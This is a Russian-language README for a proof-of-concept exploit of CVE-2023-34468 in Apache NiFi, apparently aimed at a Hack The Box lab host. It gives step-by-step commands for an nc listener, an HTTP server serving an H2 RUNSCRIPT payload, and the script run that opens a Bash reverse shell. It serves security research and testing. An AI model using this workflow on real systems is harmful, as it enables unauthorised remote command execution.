CVE-2023-34468 — Apache NiFi ExecuteSQL H2 RUNSCRIPT RCE PoC

Короткий PoC на Python для эксплуатации редактируемого процессора ExecuteSQL в Apache NiFi с помощью полезной нагрузки H2 RUNSCRIPT с целью инициирования удалённого выполнения команд через обратную оболочку Bash.

Только для авторизованного тестирования и исследований. Не используйте против систем, которыми вы не владеете или на тестирование которых у вас нет явного разрешения.

---

Что делает

ExecuteSQL processor update -> H2 RUNSCRIPT fetch -> Bash reverse shell -> processor restore

1. Обнаруживает единственный процессор ExecuteSQL автоматически или принимает --processor-id вручную.
2. Создаёт локальную полезную нагрузку rce.sql, которая определяет и вызывает реализованный на Java псевдоним для выполнения shell-команд.
3. Предлагает вам запустить собственный nc-слушатель и HTTP-сервер.
4. Обновляет запрос процессора, чтобы получить rce.sql через H2 RUNSCRIPT.
5. Запускает процессор для активации обратной оболочки.
6. Восстанавливает исходную конфигурацию процессора после того, как вы подтвердите получение оболочки.

---

Скриншоты

1. Настройка

2. Запрос к полезной нагрузке

3. Получена оболочка

4. Результат

---

Установка

git clone https://github.com/ozcanpng/CVE-2023-34468.git
cd CVE-2023-34468
python3 -m venv .venv
source .venv/bin/activate
pip install -r requirements.txt

---

Использование

Терминал 1:

rlwrap nc -lvnp 4444

Терминал 2, из каталога этого репозитория:

python3 -m http.server 8000

Терминал 3:

python3 CVE-2023-34468.py --url http://flow.helix.htb --lhost 10.10.16.53 --lport 4444

Для выбора процессора вручную:

python3 CVE-2023-34468.py --url http://flow.helix.htb --processor-id <UUID> --lhost 10.10.16.53 --lport 4444

---

Затронутые

Продукт	Затронутая версия	Требуемый доступ	Воздействие
Apache NiFi	Развёртывания, затронутые CVE-2023-34468, использующие редактируемое поведение ExecuteSQL/H2	Возможность получить доступ к целевому процессору NiFi через API и изменить его	Удалённое выполнение команд

---

Примечания

• Скрипт предполагает, что API NiFi доступен, а текущий пользователь/сессия может изменять целевой процессор.
• Сгенерированный файл rce.sql игнорируется git и должен раздаваться из каталога репозитория с помощью python3 -m http.server.
• Если автоматическое обнаружение не находит процессор или находит несколько кандидатов, передайте UUID процессора вручную с помощью --processor-id.
• Скрипт пытается восстановить исходную конфигурацию процессора ExecuteSQL после подтверждения получения оболочки.

---

Ссылки

• NVD — CVE-2023-34468
• Apache NiFi
• Команды базы данных H2

---

Автор

ozcanpng — github.com/ozcanpng — ozcanpng.dev